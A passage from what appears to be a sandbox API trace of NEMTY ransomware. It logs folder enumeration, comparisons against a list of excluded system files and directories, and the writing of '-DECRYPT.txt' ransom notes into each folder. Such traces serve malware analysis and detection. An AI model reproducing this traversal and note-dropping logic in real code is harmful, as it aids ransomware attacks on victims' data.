lpString2=".") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="..") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="...") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="windows") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="rsa") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="NTDETECT.COM") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="ntldr") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="MSDOS.SYS") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="IO.SYS") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="boot.ini") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="boot.ini") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="ntuser.dat") returned -1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="desktop.ini") returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="CONFIG.SYS") returned 1 [0129.707] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="RECYCLER") returned -1 [0129.707] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0129.707] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="bootmgr") returned 1 [0129.707] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="programdata") returned -1 [0129.707] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="appdata") returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0129.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaCenter.Gadget", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaCenter.Gadget", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaCenter.Gadget", lpUsedDefaultChar=0x0) returned 18 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0129.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaCenter.Gadget", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaCenter.Gadget", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaCenter.Gadget", lpUsedDefaultChar=0x0) returned 18 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0129.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0129.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0129.707] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0129.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.709] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.709] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0129.710] CloseHandle (hObject=0x1e8) returned 1 [0129.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0129.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0129.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0129.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0129.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0129.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0129.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.711] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0129.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0129.712] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.712] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0129.712] CloseHandle (hObject=0x1e8) returned 1 [0129.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0129.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0129.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0129.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf3ac70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf3ac70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0129.713] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0129.713] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf3ac70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf3ac70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0129.713] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0129.713] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0129.713] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0129.713] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0129.713] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0129.714] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0129.714] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0129.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0129.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ef10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0129.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0129.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ef10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0129.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0129.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0129.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0129.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0129.714] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0129.715] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.715] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0129.716] CloseHandle (hObject=0x1ec) returned 1 [0129.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0129.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0129.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0129.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0129.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0129.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0129.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0129.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0129.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0129.717] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0129.718] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.718] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0129.718] CloseHandle (hObject=0x1ec) returned 1 [0129.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0129.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0129.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0129.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf60dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0129.719] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0129.719] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf60dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.719] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0129.719] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0129.719] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2=".") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="..") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="...") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="windows") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="$RECYCLE.BIN") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="rsa") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="NTDETECT.COM") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="ntldr") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="MSDOS.SYS") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="IO.SYS") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="boot.ini") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="boot.ini") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="AUTOEXEC.BAT") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="ntuser.dat") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="desktop.ini") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="CONFIG.SYS") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="RECYCLER") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="BOOTSECT.BAK") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="bootmgr") returned 1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="programdata") returned -1 [0129.719] lstrcmpiW (lpString1="flyout.css", lpString2="appdata") returned 1 [0129.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0129.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0129.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.css", lpUsedDefaultChar=0x0) returned 10 [0129.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.css", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0129.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 